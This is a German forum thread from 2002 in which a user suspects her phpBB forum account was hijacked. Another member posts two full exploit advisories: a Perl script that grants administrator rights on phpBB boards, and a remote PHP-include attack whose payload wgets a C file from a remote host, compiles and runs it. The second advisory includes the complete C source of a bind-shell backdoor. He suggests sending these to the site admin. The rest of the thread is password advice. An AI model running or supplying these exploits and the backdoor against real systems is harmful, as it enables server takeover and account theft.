phpBB Boards sind sie wirklich sicher

#0
14.11.2002, 08:33
mony70
zu Gast
#1 Ich habe einen Account bei Surf4€.
Gestern bekam ich auf einmal kein Login mehr. Ich nichts anderes zu tuen mich sofort mit dem Admin in Verbindung gesetzt.
Nach einigen Mail waren wir dann der Meinung das jemand an mein Passwort gekommen ist.
Der Admin schickte mir per Mail folgende Aussage:
Hallo,

Ich verstehe nicht, wie man so leichtsinnig sein kann und überall das
gleiche Passwort verwenden!
Besonders dann, wenn man sich bei jedem Wald und Wiesen Anbieter
anmelden muss.
Sie als User sind selbst für Ihre Zugangsdaten verantwortlich und müssen
diese entsprechend schützen.

Ich werde die Mailadresse wieder herstellen und dies auch nur
Ausnahmsweise. Sollte Ihnen Ihr Account nochmals abhanden kommen, werden
wir nicht nochmals so vorgehen.

Ich fand raus das Surf4€ ein phpBB Board fürs Forum benutzt und habe da mal gehört das man so ziemlich schnell an die Benutzernamen und Passwörter kommen kann.
Bevor ich dem Admin ein paar saftige Worte zurücksende wollte ich mich erstmal schlau machen.
Und vor allen Dingen was mich sauer macht ist das er meine Mailadresse in den Userdaten wiederherstellen will. Woher weiss er so genau das ich auch wirklich der User bin.

Ich danke euch Vorraus für Infos
Seitenanfang Seitenende
14.11.2002, 10:31
Ehrenmitglied

Beiträge: 831
Seitenanfang Seitenende
17.11.2002, 12:35
mony70
zu Gast

Themenstarter
#3 Folgende Mail bekam ich vom Webmaster. Ich staune nicht schlecht da ich lediglich bei zwei Anbietern das gleiche Passwort benutzt habe.
Ich würde Ihm gerne Beweisen das man doch drankommt aber leider weiss ich nicht wie.

Hallo,

Nur zur Information. An die Daten bei Surf4€uros kann niemand zugreifen.
Ich habe Ihnen bereits in erster Mail mitgeteilt, dass es leichtsinnig
ist, bei mehreren Anbietern das gleiche Passwort zu verwenden. Im
übrigen sind die Passworte in unserer Datenbank verschlüsselt abgelegt
und können nicht ausgelesen werden.

Sie müssen den Fehler also bei sich selbst suchen nicht bei uns! Sie
haben mit bereits in einer anderen Mail mitgeteilt bei mehreren anderen
Anbietern das gleiche Passwort zu verwenden. Auch bei den anderen Usern
im Forum hat sich herausgestellt, dass diese User Ihren Account
leichtfertig aufs Spiel gesetzt haben!!!!
Seitenanfang Seitenende
17.11.2002, 13:00
Ehrenmitglied

Beiträge: 831
#4 Verschlüsselte Passwörter können mit Programmen wie John the Ripper behandelt werden.

Schick ihm mal die beiden Exploitz ...

Code


Privilege Escalation Vulnerability on phpBB
Oct, 31 2002 - 10:58
contributed by: hx
Summary
Rootsecure.net discovered a privilege escalation vulnerability in phpBB which allows any person with a "user" level account to escalate their privileges to that of "administrator" level, and therefore gain full unrestrictive control of a forum.
A coding error exists in the admin_ug_auth.php script (used to set permissions), so although admin rights are needed to view the page, anyone can post data back to it "no questions asked". Therefore, if you already know what kind of response the board is looking for, you can go straight ahead and tell it directly that you want to give admin rights to a specific account.


Details
Before using the proof of concept code you must first find out two bits of information:

1. The base directory of the board, (usually something like http://www.mydomain.com/phpBB2), which is found by taking off index.php from the main page URL.

2. The user number of the account you wish to give admin. To do this go to the forums member list page, click your username, then note down the number shown at the right end of the URL you are now at. (if no users have been deleted from the board, then the number next to your username on the members list page under the "#" column will also be your true user number).

Upon successful exploitation, on your next login, there will be a link at the bottom of every board page saying "Go to Administration Panel" and additional options on screen when you are viewing a specific thread to enable you to edit, delete, lock individual posts/threads etc.

Exploit:
#!/usr/bin/perl

################################################################
# Copyright 2002 nick84 - Rootsecure.net #
# #
# You may use / modified this code as long as you leave this #
# here message in the source. #
# By using this code you agree to indemnify rootsecure.net #
# from any liability that might arise from its use. #
# #
# Selling this source code without prior consent is expressly #
# forbidden. :) #
# #
# By downloading this code you agree not to use it for any #
# illegal purpose. I.e. Only on forums you already have #
# administration rights over. #
# #
################################################################

# Header Info
print "Content-type: text/html\n\n";
print "root_a_phpBB_2.0.0.pl perl command line version\n";
print "Coded by nick84@ (http://www.rootsecure.net)\n\n";

# Usage Instructions Shown On Screen
print <<ENDHTML;
Usage Instructions (data gathering)
------------------

1. Goto the board you wish to change the permissions for in the normal way
using a browser.
2. Find the base directory location of the board for the script,
i.e. if the main page was http://www.server.com/phpBB2/index.php
the base directory location would be http://www.server.com/phpBB2
- without the trailing slash
3. Goto the boards "Memberlist" page (usually located at the top with the
rest of the links)
4. Search the "Memberlist" page for the specific account you wish to change
the permissions for, and click the username, then note down the number
at the end of the page URL you are at. (u=?)
5. Fill in the details obtained where asked for in the following prompts.
ENDHTML

# Continue When user Is Ready
print "Press enter to continue:";
$continue = <STDIN>;

# Clear The Screen
&clear_screen;

# Get Input From User
print "Boards Location:\n";
print "----------------\n";
print "e.g. (http://www.domain_name.com/phpBB2 Note: no trailing slash)\n";
print "Dont forget to use capitals if the name contains them\n";
print ":";
$board_location = <STDIN>;
chop $board_location;

print "\nUser ID:\n";
print "--------\n";
print "User ID of the user you wish to change the permissions for\n";
print "Found by clicking your profile on the Memberlist page, and\n";
print "then reading the end of the URL (where it says u=?)\n";
print ":";
$user_id = <STDIN>;
chop $user_id;

print "\nUser Level:\n";
print "-----------\n";
print "User level you wish to give to the specified user\n";
print "i.e. for admin type admin for user type user\n";
print ":";
$user_level = <STDIN>;
chop $user_level;

# Clear The Screen
&clear_screen;

# Print Out What The User Entered
print <<ENDHTML;
Details Entered
---------------
Board Location: $board_location
User ID No.: $user_id
User Level: $user_level
ENDHTML

# Confirm Details With User
print "\nIs this correct? (if it is press enter, otherwise controll-c)\n";
print ":";
$continue = <STDIN>;

print "\nWorking ...\n";

# Add One To Get The Correct User ID (not needed anymore)
#$user_id++;

# Compile Full String To Send
$post_dat="adv=&mode=user&moderator%5B1%5D=0&private%5B1%5D=0&submit=Submit&u=$user_id&userlevel=$user_level";

# Compile Full Location Of Boards Admin Page
$full_location="$board_location/admin/admin_ug_auth.php";

# Change Permissions On Specified Server
use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my $req = HTTP::Request->new(POST => $full_location);
$req->content_type('application/x-www-form-urlencoded');
$req->content($post_dat);

my $res = $ua->request($req);

# Clear The Screen
&clear_screen;

print "\nFinished!\n";

# Display Final Usage Instructions
print <<ENDHTML;
Now go and log into the forum in the usual way. - If it was successful,
there will be a link at the bottom of every board page saying "Go to
Administration Panel" and additional options will appear on screen when
you are viewing a specific thread to enable you to edit or delete posts
in it etc.
ENDHTML

# print $res->as_string;

# Clear The Screen Subroutine
sub clear_screen {

for ($count=1; $count<101; $count++)
{
print "\n";
}

}


Additional information
The information has been provided by nick of Rootsecure.net


__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
17.11.2002, 13:01
Ehrenmitglied

Beiträge: 831
#5 Bei dem bin ich mir nicht sicher da er für 2.0.1 ist , wobei das board von s4€ 2.0.2 hat ... könnte gehen , könnte auch sein das die in der zw.zeit ein update gemacht haben.

Code


Malicious PHP Source Injection in phpBB (install.php)
Jun, 20 2002 - 07:17
contributed by: hx
Summary
phpBB is one of popular PHP bulletin board systems. When "allow_url_fopen" is set to "On" and "register_globals" is also set to "On" (in php.ini), phpBB contains a vulnerability in its install.php code that will allow attackers to insert malicious PHP code into existing web pages.


Details
Vulnerable systems:
* phpBB 2.0.1

Workaround:
Set "allow_url_fopen" to "Off" and "register_globals" to "Off". After you have completed the installation process remove or rename the install.php script. Or modify the install.php:

Find:
include($phpbb_root_dir . 'includes/functions_selects.'.$phpEx);

Replace it with:
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx);

Example:
Create the following file:
--------------------includes/functions_selects.php--------------
<? passthru("uname -a"); ?>
-----------------------------------------

And then type in the following URL:
http://URL/install.php?phpbb_root_dir=http://MYBOX/

This will result in something similar to:
Linux cpu 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown
Warning: Cannot add header information - headers already sent by (output started at http://host/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 182

Warning: Cannot add header information - headers already sent by (output started at http://host/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 183

Warning: Cannot add header information - headers already sent by (output started at http://host/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/install.php on line 346

Exploit:
The following exploit code will download a C file, compile it, execute it, and cause a backdoor to open up on the remote server.

PHP code:
<? passthru("cd /tmp && /usr/bin/wget http://host/a.c && gcc a.c -o ... && rm /tmp/a.c && /tmp/... "); ?>

Backdoor code:
/*
* Unknown author.
*/


#define PORT 13534
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"/usr/local/apache/bin/httpd");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}


Additional information
The information has been provided by morris Chang.





Ich werde mit absicht nicht darauf eingehen wie diese Exploitz genutzt werden!
Sollte es doch einer machen, so bitte auf eigene Gefahr
Wobei ich der meinung bin, das die meisten sowieso nicht wissen was sie damit anfangen sollen ;)


ähm mony70 : was ich anmerken wollte, die wahrscheinlichkeit das dein passwort erarten wurde, da du es in anderen systemen auch verwendet hast ist wahrscheinlicher, als das jemand bei so einem großen board dein account mit nem exploitz angreift, wobei ich extra mal sage das keines der beiden exploitz dir Zugriff auf dein Passwort gibt! Only Admin-Status ... und ein Admin im phpBB2 darf 'normalerweiße' dein passwort nicht sehen können

hoffe dir geholfen zu haben
sollte es für dich zuviel an Infos sein , so vergiss es und lass es auf sich beruhen ...

mit freundlichen Grüßen poiin2000

@ admin
p.s. Habe 2. Postings erstellt da der Text im ersten zu lang war ... wie lang darf der Text (Zeichen) max. sein?
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
17.11.2002, 20:15
mony70
zu Gast

Themenstarter
#6 Hallo

Erstmal Dankeschön.
Ich weiss schon das das Skripte sind.
Ich denke auch das das Passwort erraten ist, aber mehr wie Buchstaben und Zahlen kombinieren kann man ja auch nicht tuen. Mich wundert nur das es mittlerweile ziemlich häufig bei s4e vorkommt man brauch nur mal auf das Board zu schauen.
Und was mich noch wundert ist das der Webmaster meine alte Mail wieder aktiviert hat ich mir ein neues Passwort vergeben habe und ich kam schon wieder nicht drauf .
In der Zwischenzeit hatte der jenige meinen Account einer anderen Person übertragen. Ich denke so schnell kann man ein neues Passwort nicht erraten.
Aber man kann so schnell E-Mails abfangen oder ?


90% aller Fehler sitzen 60 cm vor dem Bildschirm
"Nobody is perfect"
Seitenanfang Seitenende
18.11.2002, 22:42
Ehrenmitglied

Beiträge: 831
#7 Emails abfangen ...

hmm naja ... nix gegen dich ... aber wir wollen doch ned realitätsfremd werden oder?

Gibts es jemanden in deinem Umfeld der an den PC kann?
Benutzt du ne art Autologin per cockie oder so?

Ansonsten würde ich mir mal nen wirklich gutes Passwort besorgen

Es sollte beinhalten :
Zahlen
Buchstaben (klein + groß)
keine Wörter
Sonderzeichen wie &"§% usw ...
min. 9 Zeichen

Das Passwort sollte keinen Zusammenhang mit dir haben!

mfg p2k
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
19.11.2002, 07:59
Ehrenmitglied
Avatar Robert

Beiträge: 2283
#8 Ein gutes Passwort hilft aber auch nicht, wenn der ominöse Fremde Zugriff auf die DB hat. Nach den Schilderungen sieht mir das fast so aus.

R.
__________
powered by http://different-thinking.de - Netze, Protokolle, Sicherheit, ...
Seitenanfang Seitenende
20.11.2002, 16:35
Ehrenmitglied

Beiträge: 831
#9 Wenn derjenige Zugriff auf die DB hat, muss er das passwort erstmal entschlüsseln

das dauert aber dementsprechend lang bei guten passen

mfg p2k
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
Um auf dieses Thema zu ANTWORTEN
bitte erst » hier kostenlos registrieren!!

Folgende Themen könnten Dich auch interessieren: